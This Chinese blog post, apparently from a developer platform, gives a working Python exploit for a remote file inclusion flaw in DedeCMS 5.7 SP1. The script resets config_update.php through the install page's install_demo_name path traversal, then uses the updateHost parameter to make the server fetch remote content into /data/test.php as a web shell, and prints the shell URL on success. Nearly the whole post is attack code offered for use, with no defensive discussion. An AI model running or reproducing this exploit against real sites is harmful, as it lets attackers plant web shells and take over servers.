python学习之dedecms exp编写

python学习之dedecms exp编写

针对织梦5.7 sp1远程文件包含getshell exp编写,漏洞分析请查看网上分析,不再赘述。
exp
# -*- coding:utf-8 -*-

import requests
import time

def dada(url):
    url_index=url+"/install/index.php"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 \
                            (KHTML, like Gecko) Chrome/51.0.    2704.103 Safari/537.36"}
    try:
        url_request=requests.get(url_index,headers)
        time.sleep(3)
        if(url_request.status_code==200):
            print("漏洞文件存在,开始测试")
            time.sleep(5)
            url_url = url + "/install/index.php?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/admin/config_update.php"  # 重置其参数
            print(url_url)
            requests.get(url=url_url, headers=headers)  # 发送重置请求
            # time.sleep(2)
            url_url2 = url + "/install/index.php?step=11&insLockfile=a&s_lang=x&install_demo_name=../data/test.php&updateHost=http://127.0.0.1/"  # 换成存在demodata.x.txt地址
            print(url_url2)
            requests.get(url=url_url2, headers=headers)  # 发送exp
            url_exp = url + "/data/test.php"
            url_final = requests.get(url=url_exp, headers=headers)

            if url_final.status_code == 200:
                print("攻击成功,请访问 \n "+url_exp)
            else:
                print("测试失败,请人工测试")
        else:
            print("检测完成,该漏洞不存在")

    except:
        print("error:请检测网络或者url地址")

    #print(url)

if __name__ == '__main__':
    dada("http://127.0.0.1/dede/dedecms")

不要问我为什么加延迟,因为逼格高

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值